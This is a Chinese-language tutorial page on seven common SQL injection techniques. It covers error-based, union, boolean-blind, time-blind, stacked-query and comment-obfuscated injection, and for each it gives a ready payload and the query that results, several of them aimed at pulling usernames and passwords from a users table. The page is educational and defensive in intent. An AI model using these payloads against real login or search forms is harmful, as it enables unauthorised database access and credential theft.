当前位置: 首页 > article >正文

系统安全-常见的几种sql注入攻击的方式

1.基于错误的注入

攻击者通过构造恶意的 SQL 语句,使得服务器返回错误信息,从而获取敏感信息。

例如,攻击者可以在登录页面的用户名和密码输入框中输入以下内容:


' or 1=1--

这将使 SQL 语句变为:


SELECT * FROM users WHERE username = '' or 1=1--' AND password = ''

其中,双破折号(--)表示注释掉后面的内容,所以这个 SQL 语句将会返回所有用户的信息,因为 1=1 总是成立的。

2.基于联合查询的注入

攻击者通过在注入点构造联合查询语句,获取数据库中的敏感信息。

例如,攻击者可以在搜索框中输入以下内容:


' UNION SELECT username, password FROM users--

这将使 SQL 语句变为:


SELECT * FROM products WHERE name = '' UNION SELECT username, password FROM users--'

其中,双破折号(--)表示注释掉后面的内容,所以这个 SQL 语句将会返回用户表中的用户名和密码信息。

3.基于布尔盲注的注入

基于布尔盲注的注入是一种常见的SQL注入攻击方式,攻击者通过构造恶意SQL语句,利用应用程序返回的布尔值(真或假)来推断数据库结构和相关信息。

例如,攻击者可以在搜索框或者输入框中输入以下内容:


' AND (SELECT COUNT(*) FROM users WHERE username='admin' AND SUBSTR(password,1,1)='a')>0 AND '1'='1

这将使 SQL 语句变为:


SELECT * FROM products WHERE name = '' AND (SELECT COUNT(*) FROM users WHERE username='admin' AND SUBSTR(password,1,1)='a')>0 AND '1'='1

上述SQL语句中,利用了SELECT COUNT(*)函数来查询数据库中是否存在用户名为admin且密码的首字母为字母a的记录。如果存在,则查询结果为真,否则为假。攻击者可以通过观察搜索页面的响应内容,来判断查询结果是真还是假,从而推断出数据库结构和相关信息。

4.基于时间盲注的注入

攻击者通过构造恶意的 SQL 语句,使得服务器在执行查询时延迟一段时间,从而获取敏感信息。

例如,攻击者可以在搜索框或者输入框中输入以下内容:


' AND IF(SUBSTRING(database(),1,1)='M',sleep(10),0)--

这将使 SQL 语句变为:


SELECT * FROM products WHERE name = '' AND IF(SUBSTRING(database(),1,1)='M',sleep(10),0)--'

上述SQL语句中,利用了IF函数和SUBSTR函数来判断数据库名称的首字母是否为字母M。如果是,就执行sleep(10)函数,即让数据库等待10秒钟,否则就执行0,即不等待。攻击者可以通过观察登录页面的响应时间来判断数据库名称的首字母是否为字母M,从而推断出数据库的结构和相关信息。

5.基于堆叠查询的注入

攻击者通过在注入点构造多个 SQL 查询语句,获取数据库中的敏感信息。

例如,攻击者可以在搜索框中输入以下内容:


'; SELECT username, password FROM users;--

这将使 SQL 语句变为:


SELECT * FROM products WHERE name = ''; SELECT username, password FROM users;--'

这个 SQL 语句将会返回用户表中的用户名和密码信息。

6.基于报错注入

攻击者通过构造恶意的 SQL 语句,使得服务器返回错误信息,从而获取敏感信息。

例如,攻击者可以在搜索框中输入以下内容:


' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x3a,@@version,0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--

这将使 SQL 语句变为:


SELECT * FROM products WHERE name = '' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x3a,@@version,0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--'

这个 SQL 语句将会返回服务器版本信息。

7.基于注释符号的注入

攻击者通过在注入点插入注释符号,使得恶意的 SQL 语句被忽略,从而获取敏感信息。

例如,攻击者可以在搜索框中输入以下内容:


'/*abc*/ UNION /*def*/ SELECT /*ghi*/ username, password /*jkl*/ FROM /*mno*/ users/*pqr*/--

这将使 SQL 语句变为:


SELECT * FROM products WHERE name = ''/*abc*/ UNION /*def*/ SELECT /*ghi*/ username, password /*jkl*/ FROM /*mno*/ users/*pqr*/--'

其中,所有以 /* 开头,以 */ 结尾的部分都被注释掉了,这个 SQL 语句将会返回用户表中的用户名和密码信息。

总结

 学习好系统安全方面的知识,能让我更好的预防各种黑客的攻击,最基础风险的了解,非常必要。


http://www.kler.cn/a/133574.html

相关文章:

  • 有了Makefile, CMake存在的意义是什么?如何借助Makefile构建ObjC语言编译环境?如何获取编译器的版本号?
  • 学习日志010--python异常处理机制与简单文件操作
  • 使用Python实现对接Hadoop集群(通过Hive)并提供API接口
  • Oracle 单机及 RAC 环境 db_files 参数修改
  • Gartner发布安全平台创新洞察:安全平台需具备的11项常见服务
  • 软件测试:测试用例详解
  • 【IDEA 使用easyAPI、easyYapi、Apifox helper等插件时,导出接口文档缺少代码字段注释的相关内容、校验规则的解决方法】
  • 1、cvpr2024
  • 2023.11.19 hadoop之MapReduce
  • [ 一刷完结撒花!! ] Day50 力扣单调栈 : 503.下一个更大元素II |42. 接雨水 | 84.柱状图中最大的矩形
  • Fork项目新分支如何同步
  • upgrade k8s (by quqi99)
  • SEnet注意力机制(逐行代码注释讲解)
  • Golang中的闭包详解
  • 浅谈滑动窗口
  • Java Swing抽奖程序
  • 一句话总结敏捷实践中不同方法
  • Django 简单入门(一)
  • C++虚函数(定义,作用,原理,案例)
  • 实时人眼追踪、内置3D引擎,联想ThinkVision裸眼3D显示器创新四大应用场景
  • 【机器学习】 逻辑回归算法:原理、精确率、召回率、实例应用(癌症病例预测)
  • 【蓝桥杯选拔赛真题21】C++行李运费 第十二届蓝桥杯青少年创意编程大赛C++编程选拔赛真题解析
  • SpringSecurity+jwt使用
  • Python将已标注的两张图片进行上下拼接并修改、合并其对应的Labelme标注文件
  • 【Axure高保真原型】附件卡片
  • 深度解析 InterpretML:打开机器学习模型的黑箱